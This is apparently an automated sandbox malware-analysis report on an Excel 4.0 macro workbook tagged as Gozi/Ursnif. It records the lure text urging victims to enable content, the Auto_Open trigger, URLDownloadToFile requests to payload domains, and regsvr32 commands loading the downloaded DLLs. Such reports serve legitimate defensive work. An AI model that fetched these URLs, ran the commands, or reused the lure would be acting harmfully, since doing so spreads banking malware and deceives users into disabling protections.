Analysis Report 12345.xlsm

Overview

General Information

Sample Name: 12345.xlsm
Analysis ID: 382553
MD5: 5851c6423d6cffdbfdd9ce4276592acb
SHA1: 8992a00647a35e67a887127b5aa7269cc9c597c6
SHA256: a7893081be92e7c0c1672482df252f282abca98ff09ff559f246bcc5244d74c3
Tags: GGGoziISFBUrsnifxlsm
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 72
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Allocates a big amount of memory (probably used for heap spraying)
Excel documents contains an embedded macro which executes code when the document is opened
IP address seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Uses a known web browser user agent for HTTP communication
Yara detected Xls With Macro 4.0

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: 12345.xlsm ReversingLabs: Detection: 16%
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Allocates a big amount of memory (probably used for heap spraying)
Source: excel.exe Memory has grown: Private usage: 4MB later: 126MB
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: velma-harber30ku.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 8.211.4.209:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 8.211.4.209:80

Networking:

barindex
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 103.205.143.227 103.205.143.227
Source: Joe Sandbox View IP Address: 8.211.4.209 8.211.4.209
Source: Joe Sandbox View IP Address: 74.208.236.90 74.208.236.90
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: velma-harber30ku.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laura9630fr.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mills-skyla30ec.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ds/0204.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: moumitas.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ds/0204.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jacktech.jackindia.comConnection: Keep-Alive
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\699323C9.png Jump to behavior
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: velma-harber30ku.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laura9630fr.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gg.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mills-skyla30ec.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ds/0204.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: moumitas.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ds/0204.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jacktech.jackindia.comConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: velma-harber30ku.com
Source: global traffic HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Tue, 06 Apr 2021 07:48:01 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16X-Powered-By: PHP/5.4.16Content-Length: 74Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 2e 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 67 67 2e 67 69 66 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found.</h1>The requested URL /gg.gif was not found on this server.
Source: regsvr32.exe, 00000003.00000002.2093312611.0000000001CE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2093803930.0000000001C90000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2094400807.0000000001D80000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2094974245.0000000001C80000.00000002.00000001.sdmp, regsvr32.exe, 00000007.00000002.2096134178.0000000001C30000.00000002.00000001.sdmp String found in binary or memory: http://servername/isapibackend.dll

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing, please click Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18
Source: Screenshot number: 4 Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
Source: Document image extraction number: 9 Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
Source: Document image extraction number: 9 Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Screenshot number: 8 Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic
Source: Screenshot number: 8 Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
Found Excel 4.0 Macro with suspicious formulas
Source: 12345.xlsm Initial sample: EXEC
Found abnormal large hidden Excel 4.0 Macro sheet
Source: 12345.xlsm Initial sample: Sheet size: 30888
Excel documents contains an embedded macro which executes code when the document is opened
Source: workbook.xml Binary string: " sheetId="5" r:id="rId1"/><sheet name="Doc1" sheetId="4" r:id="rId2"/><sheet name="Doc2" sheetId="1" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">'Doc1'!$BO$133</definedName></definedNames><calcPr calcId="122211"/></workbook>
Source: classification engine Classification label: mal72.expl.evad.winXLSM@11/10@5/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$12345.xlsm Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC947.tmp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 12345.xlsm ReversingLabs: Detection: 16%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf1.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf2.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf3.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf4.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf1.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf2.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf3.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf4.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: 12345.xlsm Initial sample: OLE zip file path = xl/media/image1.png
Source: 12345.xlsm Initial sample: OLE zip file path = xl/media/image2.png
Source: 12345.xlsm Initial sample: OLE zip file path = xl/media/image3.png
Source: 12345.xlsm Initial sample: OLE zip file path = xl/media/image4.png
Source: 12345.xlsm Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: 12345.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: 12345.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation:

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Registers a DLL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s ..\nvcoerf.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 382553 Sample: 12345.xlsm Startdate: 06/04/2021 Architecture: WINDOWS Score: 72 27 Multi AV Scanner detection for submitted file 2->27 29 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->29 31 Found abnormal large hidden Excel 4.0 Macro sheet 2->31 33 2 other signatures 2->33 6 EXCEL.EXE 83 42 2->6         started        process3 dnsIp4 21 moumitas.com 74.208.236.90, 49168, 80 ONEANDONE-ASBrauerstrasse48DE United States 6->21 23 jacktech.jackindia.com 103.205.143.227, 49169, 80 NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN India 6->23 25 3 other IPs or domains 6->25 19 C:\Users\user\Desktop\~$12345.xlsm, data 6->19 dropped 35 Document exploit detected (UrlDownloadToFile) 6->35 11 regsvr32.exe 6->11         started        13 regsvr32.exe 6->13         started        15 regsvr32.exe 6->15         started        17 2 other processes 6->17 file5 signatures6 process7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.205.143.227
jacktech.jackindia.com India
132335 NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN false
8.211.4.209
laura9630fr.com Singapore
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
74.208.236.90
moumitas.com United States
8560 ONEANDONE-ASBrauerstrasse48DE false

Contacted Domains

Name IP Active
laura9630fr.com 8.211.4.209 true
mills-skyla30ec.com 8.211.4.209 true
jacktech.jackindia.com 103.205.143.227 true
velma-harber30ku.com 8.211.4.209 true
moumitas.com 74.208.236.90 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://velma-harber30ku.com/gg.gif false
  • Avira URL Cloud: safe
unknown
http://mills-skyla30ec.com/gg.gif false
  • Avira URL Cloud: safe
unknown
http://jacktech.jackindia.com/ds/0204.gif false
  • Avira URL Cloud: safe
unknown
http://moumitas.com/ds/0204.gif false
  • Avira URL Cloud: safe
unknown
http://laura9630fr.com/gg.gif false
  • Avira URL Cloud: safe
unknown